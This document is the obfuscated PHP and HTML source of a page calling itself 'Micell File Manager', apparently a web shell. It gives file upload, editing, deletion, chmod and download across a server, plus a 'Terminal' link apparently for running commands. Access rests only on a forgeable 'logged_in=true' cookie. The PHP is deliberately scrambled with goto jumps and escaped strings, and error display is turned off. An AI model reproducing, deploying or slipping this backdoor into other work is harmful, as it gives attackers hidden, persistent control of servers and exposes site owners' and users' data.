<div class="menu-bar"><button onclick='window.location="?"'>Home</button> <button onclick='showTab("upload")'>Upload</button> <button onclick='showTab("folder")'>New Folder</button> <button onclick='showTab("file")'>New File</button> <button onclick="goTerminal()">Terminal</button><script>function goTerminal(){
let url = new URL(window.location.href);
url.searchParams.set('cmdsaskra','1');
window.location.href = url.toString();
}</script></div><div class="tab-content"id="uploadTab"style="display:none"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Upload File</h3><div class="drag-area"id="dragArea"><p>Drag & Drop file di sini</p><p>atau pilih manual di bawah</p></div><form method="post"class="form-group"enctype="multipart/form-data"id="uploadForm"><input type="hidden"value="<?php goto rabcM; e6aO0: if (isset($_GET["\145\x64\x69\x74"])) { $et = @realpath($_GET["\x65\x64\151\164"]); if ($et && is_file($et) && strpos($et, $rootAllowed) === 0) { $edit_file_mode = true; $edit_file_path = $et; $edit_file_content = @file_get_contents($et); $ext = strtolower(pathinfo($et, PATHINFO_EXTENSION)); switch ($ext) { case "\x70\x68\x70": $aceMode = "\x61\143\145\57\x6d\157\144\x65\57\x70\150\160"; break; case "\152\x73": $aceMode = "\141\143\x65\57\155\x6f\x64\145\57\x6a\141\166\x61\163\143\162\151\x70\x74"; break; case "\143\163\x73": $aceMode = "\x61\x63\145\x2f\155\x6f\144\145\57\143\x73\x73"; break; case "\150\x74\155\154": $aceMode = "\141\143\145\57\155\x6f\x64\145\x2f\x68\x74\155\154"; break; case "\x68\164\155": $aceMode = "\141\143\145\x2f\x6d\x6f\144\x65\57\150\164\155\x6c"; break; case "\x6a\163\x6f\x6e": $aceMode = "\x61\143\x65\57\155\157\x64\x65\x2f\x6a\x73\x6f\156"; break; case "\x78\x6d\x6c": $aceMode = "\141\143\x65\57\x6d\157\144\x65\57\x78\155\154"; break; default: $aceMode = "\x61\143\x65\x2f\155\157\x64\145\x2f\164\x65\x78\164"; break; } } } goto fBM8o; jJ72U: $parent = dirname($basePath); goto SYfLp; UOEKw: $params = $_GET; goto h0ZUh; MmHkb: if (isset($_POST["\141\x63\x74\x69\x6f\x6e"])) { switch ($_POST["\x61\143\164\x69\x6f\x6e"]) { case "\x75\x70\x6c\157\141\144": if (!empty($_FILES["\165\160\x6c\157\x61\x64\x5f\146\151\x6c\145\163"]["\156\141\155\x65"][0])) { foreach ($_FILES["\165\160\154\x6f\x61\x64\x5f\x66\x69\154\x65\x73"]["\x6e\x61\155\145"] as $i => $n) { $tmp = $_FILES["\165\160\x6c\x6f\141\144\x5f\146\x69\x6c\x65\163"]["\x74\155\x70\137\x6e\x61\155\x65"][$i]; if ($tmp) { @move_uploaded_file($tmp, ts($basePath) . $n); } } } break; case "\x6d\153\x64\x69\162": $f = trim($_POST["\x66\157\x6c\x64\x65\x72\x5f\x6e\x61\155\145"]); if ($f) { @mkdir(ts($basePath) . $f); } break; case "\143\162\145\x61\164\145\x5f\x66\151\x6c\x65": $f = trim($_POST["\x66\151\154\x65\x6e\141\155\145"]); $c = $_POST["\x66\x69\x6c\x65\x63\x6f\x6e\164\145\x6e\164"]; if ($f) { @file_put_contents(ts($basePath) . $f, $c); } break; case "\x72\x65\x6e\x61\x6d\x65": $o = $_POST["\157\154\x64\137\x6e\141\155\x65"]; $n = $_POST["\x6e\x65\x77\x5f\156\x61\x6d\x65"]; if ($o && $n) { $oldFull = @realpath(ts($basePath) . $o); $newFull = ts($basePath) . $n; if ($oldFull && strpos($oldFull, $rootAllowed) === 0) { @rename($oldFull, $newFull); } } break; case "\144\x65\x6c\x65\x74\x65": $t = $_POST["\164\x61\162\147\145\x74"]; if ($t) { $targetFull = @realpath(ts($basePath) . $t); if ($targetFull && strpos($targetFull, $rootAllowed) === 0) { del($targetFull); } } break; case "\145\144\x69\164\x5f\x66\151\154\x65\x5f\163\x61\166\145": $e = $_POST["\145\x64\x69\164\137\164\141\x72\147\x65\x74"]; $c = $_POST["\156\145\x77\x5f\x63\157\156\x74\x65\x6e\164"]; $r = @realpath($e); if ($r && is_file($r) && strpos($r, $rootAllowed) === 0) { @file_put_contents($r, $c); } break; case "\143\x68\155\157\144": $t = $_POST["\164\141\x72\x67\x65\164"]; $perm = $_POST["\x70\x65\x72\155"]; if ($t !== '' && $perm !== '') { $targetFull = @realpath(ts($basePath) . $t); if ($targetFull && strpos($targetFull, $rootAllowed) === 0) { @chmod($targetFull, octdec($perm)); } } break; } header("\114\x6f\x63\141\x74\x69\x6f\156\72\40\77\160\x61\164\x68\x3d" . urlencode($basePath)); die; } goto dW3V0; z795P: ?>
</tbody></table></div><?php goto SUDMw; VEUM1: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>Micell File Manager</title><link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"rel="stylesheet"><style>body{margin:0;padding:0;background:linear-gradient(120deg,#000428 0,#3b074c 50%,#060a32 100%);color:#eee;font-family:Orbitron,sans-serif;overflow-x:hidden}header{background:rgba(0,0,0,.7);padding:15px 20px;border-bottom:2px solid #0ff;display:flex;justify-content:space-between;align-items:center;box-shadow:0 0 20px rgba(0,255,255,.2)}header h1{margin:0;font-size:1.3em;color:#0ff;text-transform:uppercase;letter-spacing:2px;text-shadow:0 0 5px #0ff}.logout a{color:#0ff;text-decoration:none;border:1px solid #0ff;padding:6px 12px;border-radius:4px;transition:background .3s ease,color .3s ease,box-shadow .3s}.logout a:hover{background:#0ff;color:#1c1c1c;box-shadow:0 0 15px rgba(0,255,255,.8)}.container{padding:20px}.breadcrumbs{background:rgba(255,255,255,.08);padding:8px;border:1px solid #0ff;border-radius:6px;margin-bottom:15px;overflow:auto;font-size:.95em;box-shadow:0 0 10px rgba(0,255,255,.2)}.breadcrumbs a{text-decoration:none;color:#0ff;margin-right:5px;transition:color .3s}.breadcrumbs a:hover{color:#fff}.breadcrumbs .sep{color:#fff;margin-right:5px}.search-box{margin-bottom:15px;display:flex;align-items:center}.search-box input[type=text]{width:240px;padding:8px;border:1px solid #444;background:#060a32;color:#ccc;border-radius:4px;outline:0;transition:border .3s,box-shadow .3s}.search-box input[type=text]:focus{border-color:#0ff;box-shadow:0 0 8px #0ff}.search-box input[type=submit]{background:#0ff;color:#111;border:none;padding:8px 16px;cursor:pointer;border-radius:4px;font-weight:700;margin-left:6px;transition:background .3s ease,box-shadow .3s}.search-box input[type=submit]:hover{background:#0cc;box-shadow:0 0 10px rgba(0,255,255,.6)}.menu-bar{margin-bottom:15px}.menu-bar button{background:#060a32;color:#0ff;padding:10px 16px;margin-right:8px;border:1px solid #0ff;border-radius:4px;font-weight:700;cursor:pointer;transition:background .3s ease,box-shadow .3s,color .3s}.menu-bar button:hover{background:#0ff;color:#000;box-shadow:0 0 15px rgba(0,255,255,.5)}.table-wrap{overflow:auto;background:rgba(255,255,255,.03);border:1px solid #0ff;border-radius:6px;padding:10px;box-shadow:0 0 15px rgba(0,255,255,.2)}table{width:100%;border-collapse:collapse;font-size:.95em;min-width:600px}table td,table th{border-bottom:1px solid #444;padding:8px;vertical-align:middle}table th{color:#0ff;text-align:left;background:rgba(10,10,40,.8);text-shadow:0 0 5px #0ff}table td{color:#ccc}table a{color:#0ff;text-decoration:none;transition:color .3s}table a:hover{color:#fff;text-decoration:underline}table td:nth-child(1),table th:nth-child(1){width:5%;text-align:center}.btn{display:inline-block;padding:5px 10px;background:#060a32;color:#0ff;border:1px solid #0ff;border-radius:4px;font-size:.8rem;cursor:pointer;text-decoration:none;margin-left:4px;transition:background .3s,box-shadow .3s,color .3s}.btn:hover{background:#0ff;color:#000;box-shadow:0 0 10px rgba(0,255,255,.6)}.download{color:#8ff}.edit{color:#afc}.del{color:#f66}.file-preview img{max-width:80px;max-height:80px;margin:5px;border:1px solid #444}.file-preview audio,.file-preview video{max-width:180px;margin:5px}.paging{text-align:center;margin:10px 0}.paging a{display:inline-block;padding:6px 10px;margin:2px;background:#060a32;color:#0ff;border:1px solid #0ff;border-radius:4px;text-decoration:none;transition:background .3s,box-shadow .3s,color .3s}.paging a:hover{background:#0ff;color:#000;box-shadow:0 0 10px rgba(0,255,255,.6)}.paging .current{background:#0ff;color:#000;font-weight:700;box-shadow:0 0 10px rgba(0,255,255,.8)}.tab-content{display:none;background:rgba(255,255,255,.08);border:1px solid #0ff;border-radius:6px;padding:15px;margin-bottom:20px;box-shadow:0 0 15px rgba(0,255,255,.2)}.form-group{margin-bottom:12px}.form-group label{display:block;font-weight:700;margin-bottom:6px;color:#8ff;text-shadow:0 0 4px #0ff}.form-group input[type=file],.form-group input[type=text],.form-group textarea{width:100%;background:#060a32;border:1px solid #444;color:#ccc;border-radius:4px;padding:8px;outline:0;transition:border .3s,box-shadow .3s}.form-group input[type=text]:focus,.form-group textarea:focus{border-color:#0ff;box-shadow:0 0 8px #0ff}.form-group input[type=submit]{background:#0ff;color:#000;border:none;padding:8px 16px;border-radius:4px;font-weight:700;cursor:pointer;transition:background .3s,box-shadow .3s}.form-group input[type=submit]:hover{background:#0cc;box-shadow:0 0 10px rgba(0,255,255,.6)}.drag-area{border:2px dashed #0ff;padding:20px;text-align:center;border-radius:6px;margin-bottom:10px;color:#aaa;transition:background .3s ease,color .3s ease,box-shadow .3s}.drag-area.hover{background:#060a32;color:#0ff;box-shadow:0 0 10px rgba(0,255,255,.5)}#overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.5);z-index:9998}#chmodBox,#renameBox{display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:9999;background:rgba(10,10,40,.9);border:2px solid #0ff;border-radius:6px;width:320px;max-width:90%;padding:20px;box-shadow:0 0 15px rgba(0,255,255,.8)}#chmodBox h3,#renameBox h3{margin-top:0;color:#0ff;text-transform:uppercase;letter-spacing:1px;text-shadow:0 0 5px #0ff}#chmodBox input[type=text],#renameBox input[type=text]{width:100%;background:#000;border:1px solid #444;color:#fff;border-radius:4px;padding:8px;margin-bottom:12px;outline:0;transition:border .3s,box-shadow .3s}#chmodBox input[type=text]:focus,#renameBox input[type=text]:focus{border-color:#0ff;box-shadow:0 0 8px #0ff}#chmodBox input[type=submit],#renameBox input[type=submit]{background:#0ff;color:#000;border:none;padding:8px 16px;border-radius:4px;font-weight:700;cursor:pointer;transition:background .3s,box-shadow .3s}#chmodBox input[type=submit]:hover,#renameBox input[type=submit]:hover{background:#0cc;box-shadow:0 0 10px rgba(0,255,255,.8)}#chmodBox button,#renameBox button{background:#444;color:#eee;border:none;padding:8px 16px;border-radius:4px;margin-left:6px;cursor:pointer;transition:background .3s,box-shadow .3s,color .3s}#chmodBox button:hover,#renameBox button:hover{background:#666;color:#fff}.footer{text-align:center;margin:30px 0 15px 0;color:#aaa;font-size:.85em}.footer span{color:#0ff}</style><script src="https://cdn.jsdelivr.net/npm/[email protected]/src-min-noconflict/ace.js"></script></head><body><header><h1>Micell File Manager</h1><div class="logout"><a href="?logout=true">Logout</a></div></header><div class="container"><div class="breadcrumbs"><?php goto IWBeB; AsonB: function cmpName($a, $b) { return strcasecmp($a, $b); } goto lh8ax; icRvj: $pagedFiles = array_slice($filtered, $startIndex, $pageSize); goto WCvi9; Qcfyl: function getPermOctal($path) { $perm = @fileperms($path); if ($perm === false) { return "\x3f\77\77\77"; } $mode = $perm & 4095; return sprintf("\x25\60\x34\x6f", $mode); } goto dLhIm; h0ZUh: $params["\x73\x6f\x72\x74"] = "\163\151\172\x65"; goto K85jg; JHU1J: if ($isWindows) { $parts = @preg_split("\x40\133\134\134\57\135\53\x40", $realBase); $tmpPath = ''; if (isset($parts[0]) && strpos($parts[0], "\72") !== false) { $tmpPath = $parts[0]; $breadcrumbList[] = array("\x6e\141\155\145" => $parts[0], "\x70\141\x74\150" => $tmpPath); array_shift($parts); } foreach ($parts as $seg) { if ($seg === '') { continue; } if ($tmpPath === '') { $tmpPath = $seg; } else { $tmpPath = rtrim($tmpPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $seg; } $breadcrumbList[] = array("\156\141\155\x65" => $seg, "\x70\x61\x74\x68" => $tmpPath); } } else { $breadcrumbList[] = array("\x6e\x61\155\145" => "\57", "\160\141\164\150" => "\57"); $trimmed = ltrim($realBase, "\x2f"); $parts = explode("\57", $trimmed); $accum = ''; foreach ($parts as $seg) { if ($seg === '') { continue; } $accum .= "\57" . $seg; $breadcrumbList[] = array("\x6e\141\x6d\x65" => $seg, "\x70\x61\x74\x68" => $accum); } } goto VEUM1; Cyd3G: function cmpTime($a, $b) { global $basePath; $fa = ts($basePath) . $a; $fb = ts($basePath) . $b; $ta = @filemtime($fa); $tb = @filemtime($fb); return $ta - $tb; } goto ZKW2L; gHNJb: $startIndex = ($currentPage - 1) * $pageSize; goto icRvj; Zs_MG: function getFileIcon($name, $isDir) { if ($isDir) { return "\74\163\x70\141\x6e\40\x73\x74\x79\x6c\x65\x3d\42\x63\157\x6c\x6f\x72\72\x23\60\x66\70\x3b\42\x3e\x5b\104\111\x52\135\x3c\57\x73\x70\141\156\x3e"; } $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); switch ($ext) { case "\152\x70\x67": case "\152\x70\x65\x67": case "\x70\x6e\x67": case "\x67\151\146": return "\360\x9f\226\274"; case "\x7a\x69\160": case "\162\141\x72": case "\x37\x7a": return "\360\x9f\x93\246"; case "\155\160\x33": case "\x77\x61\x76": case "\x6f\x67\147": return "\xf0\237\216\xb5"; case "\x6d\160\64": case "\155\157\166": case "\141\x76\x69": return "\360\237\216\236"; case "\x70\144\x66": return "\xf0\237\223\x84"; default: return "\360\237\223\x84"; } } goto MmHkb; MnN13: $query = isset($_GET["\161"]) ? trim($_GET["\161"]) : ''; goto Uavbe; ZKW2L: switch ($sort) { case "\163\x69\x7a\x65": usort($filtered, "\143\x6d\x70\x53\151\172\x65"); break; case "\164\x69\155\x65": usort($filtered, "\143\155\x70\x54\151\x6d\x65"); break; default: usort($filtered, "\x63\x6d\160\x4e\141\155\145"); } goto s8o3D; q8ykd: function getModified($path) { $t = @filemtime($path); if (!$t) { return "\x2d"; } return date("\131\x2d\x6d\55\144\x20\110\72\x69\x3a\163", $t); } goto Zs_MG; GtnTL: ?>
"name="path"> <input value="<?php goto jcRB4; wuUYU: $params["\163\157\x72\x74"] = "\x74\x69\x6d\x65"; goto WIZAz; dGsW2: foreach ($pagedFiles as $f) { $full = ts($basePath) . $f; $isDir = ds($full); $permOct = getPermOctal($full); $permSym = octalToSymbolic($permOct); $modified = getModified($full); $icon = getFileIcon($f, $isDir); echo "\x3c\x74\162\76"; echo "\x3c\164\144\x20\163\x74\171\x6c\145\75\42\164\x65\170\x74\x2d\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\145\x72\x3b\x22\x3e" . $icon . "\x3c\57\x74\144\76"; if ($isDir) { echo "\x3c\x74\144\76\74\x61\40\x68\x72\145\146\x3d\42\77\160\141\x74\x68\x3d" . urlencode($full) . "\x22\76\x3c\163\x74\x72\x6f\x6e\x67\76" . htmlspecialchars($f) . "\x3c\57\163\x74\162\157\x6e\147\x3e\x3c\57\141\76\74\x2f\164\x64\x3e"; echo "\74\x74\144\x3e\106\x6f\154\144\145\x72\x3c\57\x74\144\x3e"; echo "\74\164\x64\40\163\x74\x79\x6c\145\x3d\42\164\145\x78\164\55\141\x6c\151\147\156\x3a\x72\151\147\150\164\x3b\x22\76\x2d\x3c\57\164\x64\x3e"; } else { echo "\x3c\x74\x64\x3e" . htmlspecialchars($f); $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); if (in_array($ext, array("\x6a\160\x67", "\152\x70\145\x67", "\160\156\x67", "\147\x69\146"))) { echo "\74\x64\151\166\x20\x63\154\141\x73\163\75\x22\x66\151\x6c\145\x2d\160\162\x65\166\x69\145\x77\42\x3e\74\x69\x6d\x67\40\163\162\143\75\42" . htmlspecialchars($f) . "\x22\x20\141\154\164\75\42\42\x3e\x3c\x2f\144\151\166\x3e"; } elseif (in_array($ext, array("\155\x70\64", "\x77\145\x62\155", "\155\157\166", "\141\x76\x69"))) { echo "\74\144\x69\166\x20\143\154\x61\163\x73\75\42\146\151\154\145\x2d\160\162\x65\166\x69\x65\167\42\x3e\x3c\166\151\x64\x65\x6f\x20\x73\x72\143\x3d\x22" . htmlspecialchars($f) . "\x22\40\143\157\156\x74\162\x6f\154\163\76\74\x2f\166\x69\x64\145\x6f\76\74\57\x64\151\x76\76"; } elseif (in_array($ext, array("\155\160\x33", "\167\x61\x76", "\x6f\x67\147"))) { echo "\x3c\x64\x69\x76\40\x63\154\x61\163\x73\75\42\x66\151\154\x65\x2d\160\162\x65\x76\x69\145\x77\x22\76\74\141\x75\x64\x69\157\40\163\x72\x63\x3d\x22" . htmlspecialchars($f) . "\x22\x20\143\x6f\x6e\x74\x72\157\154\x73\x3e\x3c\x2f\x61\x75\144\151\x6f\76\x3c\57\144\x69\166\x3e"; } echo "\x3c\57\164\x64\76"; echo "\74\x74\x64\76\106\151\154\x65\74\x2f\x74\144\76"; $sz = @filesize($full); echo "\74\x74\144\40\x73\x74\171\154\145\x3d\42\164\x65\170\x74\55\141\154\151\x67\x6e\x3a\162\x69\x67\x68\164\73\x22\76" . fs($sz) . "\74\x2f\164\144\76"; } echo "\74\164\144\x20\163\164\171\x6c\145\75\x22\164\x65\170\x74\55\141\154\151\147\156\72\143\145\x6e\164\x65\162\73\42\76" . $permOct . "\x3c\x2f\164\x64\x3e"; echo "\74\164\x64\40\163\x74\171\x6c\x65\x3d\42\164\145\x78\x74\x2d\141\154\151\147\x6e\72\x63\x65\x6e\x74\145\162\x3b\x22\x3e" . $permSym . "\74\x2f\164\144\x3e"; echo "\74\x74\x64\x20\163\x74\x79\154\145\x3d\42\x74\145\x78\164\x2d\141\x6c\151\x67\x6e\x3a\x63\x65\x6e\164\x65\162\73\42\76" . $modified . "\74\x2f\164\144\x3e"; echo "\x3c\x74\144\40\x73\x74\x79\154\x65\x3d\42\x74\x65\170\x74\55\x61\154\151\x67\x6e\x3a\x72\151\x67\x68\164\x3b\42\x3e"; if (!$isDir) { echo "\74\x61\x20\150\162\x65\146\75\42\x3f\144\x6f\x77\156\x6c\157\141\x64\x3d" . urlencode($full) . "\x22\x20\143\x6c\x61\163\163\75\42\x62\164\156\40\144\157\x77\x6e\x6c\157\141\144\x22\x3e\104\x6f\x77\156\154\157\141\144\74\x2f\141\76"; echo "\x3c\141\x20\x68\162\145\x66\75\x22\77\x65\x64\151\164\x3d" . urlencode($full) . "\x26\x70\x61\x74\x68\75" . urlencode($basePath) . "\x22\x20\x63\x6c\x61\163\163\x3d\x22\142\x74\x6e\x20\x65\144\x69\164\x22\76\105\144\151\x74\x3c\57\x61\76"; } echo "\x3c\x62\165\x74\164\x6f\156\40\164\x79\160\x65\x3d\x22\142\x75\164\x74\157\x6e\x22\40\143\x6c\141\x73\163\x3d\42\x62\x74\x6e\42\x20\x6f\156\143\x6c\x69\143\153\x3d\x22\x6f\160\145\156\122\145\156\x61\x6d\x65\x42\157\x78\x28\47" . htmlspecialchars($f) . "\47\x29\x22\40\163\x74\171\154\145\75\x22\143\x6f\x6c\157\x72\x3a\43\x66\146\146\73\x22\76\122\145\156\141\155\x65\x3c\57\x62\x75\x74\164\157\x6e\76"; echo "\x3c\x62\x75\164\164\x6f\156\40\164\171\160\145\x3d\x22\x62\x75\x74\164\x6f\156\x22\x20\143\x6c\141\x73\163\x3d\42\142\x74\x6e\42\40\x6f\156\143\x6c\151\143\x6b\75\x22\157\x70\145\x6e\x43\150\155\x6f\144\x42\x6f\x78\x28\x27" . htmlspecialchars($f) . "\47\x2c\47" . $permOct . "\x27\x29\x22\x20\163\164\171\x6c\x65\75\42\x63\x6f\154\x6f\x72\72\x23\146\146\x66\x3b\42\x3e\103\110\x4d\117\x44\x3c\57\x62\165\164\164\x6f\156\76"; echo "\74\x66\x6f\162\155\x20\x61\x63\164\151\x6f\x6e\x3d\x22\42\40\x6d\145\164\x68\x6f\144\75\42\160\157\x73\164\42\x20\x73\164\x79\x6c\x65\x3d\x22\x64\151\x73\160\154\x61\171\x3a\151\x6e\154\151\x6e\145\73\155\x61\162\x67\x69\156\55\154\x65\x66\164\x3a\x35\x70\170\x3b\42\76\xa\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\74\x69\156\160\x75\x74\40\164\x79\160\145\x3d\x22\150\151\x64\144\145\x6e\x22\40\x6e\141\x6d\x65\75\42\160\141\164\150\x22\40\x76\141\154\x75\x65\x3d\x22" . htmlspecialchars($basePath) . "\x22\76\12\40\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x3c\151\x6e\160\165\x74\x20\164\x79\x70\145\x3d\x22\150\x69\144\x64\x65\x6e\x22\x20\x6e\141\155\x65\75\x22\141\143\x74\x69\x6f\156\42\40\166\141\x6c\165\x65\75\42\x64\145\x6c\145\164\145\x22\76\xa\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\145\75\x22\x68\151\144\x64\145\156\x22\40\x6e\x61\x6d\145\75\x22\x74\141\162\x67\x65\x74\42\40\166\141\154\165\x65\x3d\x22" . htmlspecialchars($f) . "\42\76\xa\40\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\x3c\x69\x6e\160\x75\164\x20\x74\x79\160\145\x3d\x22\x73\x75\142\x6d\151\x74\x22\40\143\x6c\141\163\x73\x3d\x22\x62\x74\156\40\x64\x65\154\x22\x20\x76\x61\x6c\x75\145\75\42\x44\x65\x6c\145\164\145\42\76\xa\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\74\57\146\x6f\x72\155\x3e"; echo "\74\57\x74\144\76"; echo "\x3c\x2f\164\162\76"; } goto z795P; fBM8o: $allFiles = fm($basePath); goto MnN13; BVj55: ?>
</div><div class="search-box"><form><input type="hidden"value="<?php goto EScJQ; eE081: function del($t) { if (is_dir($t)) { $x = scandir($t); foreach ($x as $y) { if ($y === "\56" || $y === "\56\x2e") { continue; } del($t . DIRECTORY_SEPARATOR . $y); } @rmdir($t); } else { @unlink($t); } } goto UR8LE; vaXx4: ?>
"name="path"> <input type="hidden"value="mkdir"name="action"><div class="form-group"><label>Folder Name</label> <input name="folder_name"placeholder="Contoh: images"></div><div class="form-group"><input type="submit"value="Create"></div></form></div><div class="tab-content"id="fileTab"style="display:none"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Create File</h3><form method="post"><input type="hidden"value="<?php goto ouR5o; PTYL3: function ts($d) { return rtrim($d, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; } goto jFCHH; HM_K7: $edit_file_content = ''; goto r6Zlx; YDUAL: @session_start(); goto Nifjt; cUV7X: ini_set("\144\x69\163\x70\154\x61\171\x5f\145\x72\x72\157\162\x73", 0); goto j_kXm; s8o3D: $totalItems = count($filtered); goto TAINx; ZGqP0: for ($i = 0; $i < $count; $i++) { $b = $breadcrumbList[$i]; $isLast = $i === $count - 1; echo "\x3c\x61\40\150\x72\145\x66\75\x22\x3f\160\141\164\x68\75", urlencode($b["\x70\x61\164\150"]), "\42\76", htmlspecialchars($b["\156\x61\155\x65"]), "\74\57\141\76"; if (!$isLast) { echo "\74\x73\160\141\156\x20\143\x6c\x61\163\163\x3d\x22\163\x65\160\x22\x3e\x2f\x3c\57\163\x70\141\156\76"; } } goto BVj55; e1dCU: if ($currentPage > $totalPages) { $currentPage = $totalPages; } goto gHNJb; X1K7R: $params = $_GET; goto wuUYU; N_FCj: if ($currentPage < 1) { $currentPage = 1; } goto e1dCU; qYhjZ: ?>
</div><div class="footer"> <span><?php goto zJ7ap; Nifjt: ob_start(); goto cUV7X; FTnyw: ?>
"name="path"> <input type="hidden"value="upload"name="action"> <label>Pilih file:</label> <input type="file"name="upload_files[]"multiple> <input type="submit"value="Upload"></form></div><div class="tab-content"id="folderTab"style="display:none"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Create Folder</h3><form method="post"><input type="hidden"value="<?php goto hIlDu; bRU53: if ($edit_file_mode) { ?>
<div id="editFileTab"style="margin-bottom:20px;display:block"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Edit File</h3><div style="font-size:.9em;margin-bottom:8px"><?php echo htmlspecialchars($edit_file_path); ?>
</div><form method="post"onsubmit="syncEditor()"><input type="hidden"value="<?php echo htmlspecialchars($basePath); ?>
"name="path"> <input type="hidden"value="edit_file_save"name="action"> <input type="hidden"value="<?php echo htmlspecialchars($edit_file_path); ?>
"name="edit_target"> <textarea name="new_content"id="editorContent"style="display:none"><?php echo htmlspecialchars($edit_file_content); ?>
</textarea><div id="aceEditor"style="width:100%;height:400px;background:#1e242c;color:#eee"></div><input type="submit"value="Save"style="margin-top:10px"> <a href="?path=<?php echo urlencode($basePath); ?>
"class="btn"style="margin-left:10px">Cancel</a></form></div><script>var aceEditor=ace.edit("aceEditor");function syncEditor(){document.getElementById("editorContent").value=aceEditor.getValue()}aceEditor.setTheme("ace/theme/one_dark"),aceEditor.session.setMode("<?php echo $aceMode; ?>
"),aceEditor.setValue(document.getElementById("editorContent").value,-1)</script><?php } goto nXIT7; e661x: ?>
">Size</a></th><th style="text-align:center">Octal</th><th style="text-align:center">Symbol</th><th style="text-align:center"><a href="?<?php goto X1K7R; IWBeB: $count = count($breadcrumbList); goto ZGqP0; MrD24: if (!isset($_COOKIE["\154\157\x67\147\x65\x64\x5f\x69\156"]) || $_COOKIE["\154\157\147\x67\145\144\x5f\x69\156"] !== "\x74\x72\x75\x65") { ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title></title><link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"rel="stylesheet"><style>body{margin:0;padding:0;background:linear-gradient(130deg,#1e0036 0,#3f0040 40%,#090b1c 100%);font-family:Orbitron,sans-serif;color:#fff}.login-container{width:320px;margin:120px auto;padding:20px;border-radius:8px;background:rgba(255,255,255,.05);box-shadow:0 0 30px rgba(255,0,255,.3),0 0 20px rgba(0,255,255,.2);text-align:center;border:1px solid rgba(255,255,255,.2)}.login-container h2{margin:0;margin-bottom:15px;font-size:1.5em;color:#0ff;letter-spacing:2px}.error{color:#f66;margin-bottom:12px;font-weight:700;text-shadow:0 0 5px #f66}input[type=password]{width:90%;padding:10px;border:1px solid #3cf;background:#120023;color:#ccc;border-radius:4px;margin-bottom:10px;outline:0;transition:border-color .3s,box-shadow .3s}input[type=password]:focus{border-color:#0ff;box-shadow:0 0 10px rgba(0,255,255,.6)}input[type=submit]{width:95%;padding:10px;border:none;background:#0ff;color:#111;font-weight:700;border-radius:4px;cursor:pointer;transition:background .3s}input[type=submit]:hover{background:#0cc}</style></head><body><div class="login-container"><h2>LOGIN</h2><?php if (!empty($error)) { echo "\x3c\x64\151\166\40\143\154\x61\163\163\x3d\x22\x65\162\162\x6f\x72\42\76" . $error . "\74\57\144\151\166\x3e"; } ?>
<form method="post"><input type="password"name="password"placeholder="Password..."required> <input type="submit"value="LOGIN"></form></div></body></html><?php die; } goto UUbv1; zJ7ap: echo date("\131"); goto kUbGi; V2I3F: echo http_build_query($params); goto FgFZ3; qDHyR: $realBase = @realpath($basePath); goto UFQdN; WGRyk: ?>
"name="q"placeholder="Search..."> <input type="submit"value="Go"></form></div><?php goto bRU53; goYX2: $session_timeout = 1800; goto fV2ES; UP1PU: echo htmlspecialchars($basePath); goto db5Dr; dLhIm: function octalToSymbolic($octal) { $val = octdec($octal); $slot = array("\x72", "\x77", "\x78", "\162", "\x77", "\x78", "\x72", "\x77", "\170"); $res = ''; for ($i = 0; $i < 9; $i++) { $mask = 1 << 8 - $i; $res .= $val & $mask ? $slot[$i] : "\55"; } return $res; } goto q8ykd; b2Zp5: ?>
"name="path"> <input type="hidden"value="chmod"name="action"> <input type="hidden"name="target"id="chmodTarget"> <input name="perm"id="chmodPerm"placeholder="Contoh: 0755, 0644"><br><input type="submit"value="OK"> <button onclick="closeChmodBox()"type="button">Cancel</button></form></div><div class="table-wrap"><table><thead><tr><th>Icon</th><th><a href="?<?php goto ilzqh; dW3V0: if (isset($_GET["\x64\157\167\x6e\154\157\141\144"])) { $f = @realpath($_GET["\144\x6f\x77\156\x6c\x6f\x61\x64"]); if ($f && is_file($f) && strpos($f, $rootAllowed) === 0) { header("\x43\x6f\x6e\x74\x65\156\164\55\x44\151\163\160\157\163\x69\x74\x69\157\x6e\x3a\x20\141\x74\164\x61\x63\150\155\x65\156\164\x3b\40\146\151\x6c\x65\x6e\141\155\x65\75\42" . basename($f) . "\x22"); header("\103\157\x6e\x74\145\156\164\x2d\114\x65\156\x67\x74\x68\72\40" . @filesize($f)); @readfile($f); die; } } goto TOBi3; LZ2LK: echo http_build_query($params); goto e661x; FgFZ3: ?>
